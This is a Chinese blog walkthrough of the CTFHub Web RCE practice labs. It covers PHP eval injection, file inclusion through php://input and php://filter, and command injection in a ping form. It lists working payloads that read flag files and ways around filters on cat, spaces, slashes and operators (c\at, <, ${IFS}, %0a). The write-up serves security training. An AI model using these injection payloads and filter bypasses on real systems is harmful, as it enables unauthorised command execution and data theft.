CTFHub技能树 Web-RCE 详解

目录

RCE简介

eval执行

文件包含

php://input

读取源代码

远程包含

命令注入 

 过滤cat

 过滤空格

过滤目录分隔符

过滤运算符

 综合过滤练习


RCE简介

初学RCE(远程命令/代码执行漏洞)https://blog.csdn.net/qq_43814486/article/details/90020139https://blog.csdn.net/qq_43814486/article/details/90020139

eval执行

启动环境 

分析代码,提示我们将命令赋值给cmd执行

我们先查看当前位置的文件,没有什么用

/?cmd=system("ls");

我们查看根目录文件,发现一个 flag_8999 文件

/?cmd=system("ls /");

我们先尝试使用cat 命令查看 flag_8999文件

/?cmd=system("cat /flag_8999");

OK了,成功找到了flag

需要注意的是:最后结尾的分号不可以省略!!

文件包含

补充知识:

isset()函数 

strpos()函数

 启动环境

分析代码

strpos函数会将我们的file中的flag字段限制,所以并不能为直接为file赋值为flag

点击shell,我们发现shell.txt中有一个变量ctfhub

我们可以将shell.txt赋值给file,在将flag赋值给ctfhub,这样的话我们就可以成功绕过限制!

 request = post + get

我们使用HackBar,将命令赋值给shell.txt中的ctfhub

?file=shell.txt 将shell.txt 赋值给file

http://challenge-d82fb33100df49ae.sandbox.ctfhub.com:10800?file=shell.txt
ctfhub=system("ls /");

ctfhub=system("cat /flag");

php://input

 补充知识:

php://            访问各个输入/输出流(I/O streams)

php://input    是个可以访问请求的原始数据的只读流。可以接收post请求作为输入流的输入,将请求作为PHP代码的输入传递给目标变量,以达到以post 的形式进行输入的目的。

启动环境:

分析代码它将file前六位取出判断是否为 "php://" ,是的话为ture 执行include($_GET["file"]);

 查看phpinfo,发现以下字段,证明是可以使用php://input的。

 burpsuite 抓包 

POST /?file:php://input
<?php system("ls /")?>

 查看flag文件,成功获得flag

<?php system("cat /flag_28869")?>

读取源代码

启动环境

 这里尝试使用 php://input ,发现不成功,那我们就换一个。

这里我们使用php伪协议中的php://filter

 php://filter 的使用https://blog.csdn.net/destiny1507/article/details/82347371https://blog.csdn.net/destiny1507/article/details/82347371构造payload

/?file=php://filter/resource=/flag
http://challenge-f5f2c46b14eae159.sandbox.ctfhub.com:10800/?file=php://filter/resource=/flag

远程包含

启动环境

分析代码:熟悉的strpos()函数

 查看PHPinfo文件,发现可以使用php://input

burpsuite 抓包,老套路成功获得flag

POST /?file=php://input 
<?php system("ls /")?>
<?php system("cat /falg")?>

命令注入 

这是一个在线测试网络延迟的平台,路由器中经常会见到。无任何安全措施,尝试获取 flag

补充知识:

linux中命令的链接符号
1.每个命令之间用;隔开
        说明:各命令的执行给果,不会影响其它命令的执行。换句话说,各个命令都会执行,但不保证每个命令都执行成功。
2.每个命令之间用&&隔开
        说明:若前面的命令执行成功,才会去执行后面的命令。这样可以保证所有的命令执行完毕后,执行过程都是成功的。
3.每个命令之间用||隔开
        说明:||是或的意思,只有前面的命令执行失败后才去执行下一条命令,直到执行成功一条命令为止。
4. | 是管道符号。管道符号改变标准输入的源或者是标准输出的目的地。
5. & 是后台任务符号。 后台任务符号使shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。

启动环境

我们随便输入一个ip,查看输出

这里我们输入ip & ls ,发现有文件的回显

1.1.1.1 & ls

 使用cat查看 文件,我们发现没有文件内容的,我们查看页面源代码即可看到flag

1.1.1.1 & cat 56762100612447.php

 这里我们也可以使用管道运行base64加密内容

ip & cat *.php | base64

对第一行进行解码,即可得到flag

 过滤cat

 过滤了cat命令之后,你还有什么方法能读到 Flag?

启动环境

1.1.1.1 & ls

 既然过滤了cat,那我们尝试绕过过滤。

第一种,使用 \ '' "" {任意无意义变量名}等方法均可绕过

1.1.1.1 & c\at flag_103292321323608.php

 第二种,使用其他查看文本命令

Linux | 文本文件查看命令https://blog.csdn.net/zhengnianli/article/details/89857683https://blog.csdn.net/zhengnianli/article/details/89857683这里使用 more

1.1.1.1 & more flag_103292321323608.php

 这里同样可以输出 base64密文,再解密。 

 过滤空格

这次过滤了空格,你能绕过吗

1.1.1.1&ls

 我们可以使用重定向符 < 来代替空格

1.1.1.1&cat<flag_3163352345276.php

过滤目录分隔符

这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗

可以看到 flag_is_here 文件夹

1.1.1.1&ls

这里使用 ; 或者 && 执行多条命令

进入文件夹,显示目录

12.0.0.1;cd flag_is_here;ls

cat 查看flag文件

12.0.0.1;cd flag_is_here;cat flag_536147747793.php 

过滤运算符

过滤了几个运算符, 要怎么绕过呢

& 以及其他的被过滤了 使用 ;

1.1.1.1;ls

1.1.1.1;cat flag_121702315315333.php

依旧可以使用base64

1.1.1.1;base64 flag_121702315315333.php

 综合过滤练习

同时过滤了前面几个小节的内容, 如何打出漂亮的组合拳呢?

启动环境

审计代码:这里过滤掉了  | ,& ,空格,; ,cat, flag, ctfhub

  • 空格可以用${IFS}

  • cat可以用more

  • flag可以用f***

  • 在linux下,命令分隔符除了;还有%0a

/?ip=127.0.0.1%0als

/?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als

/?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0abase64${IFS}f***_17214794821880.php

RCE 完结!!!

剩余技能上线后会持续更新。

  • 5
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ErYao7

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值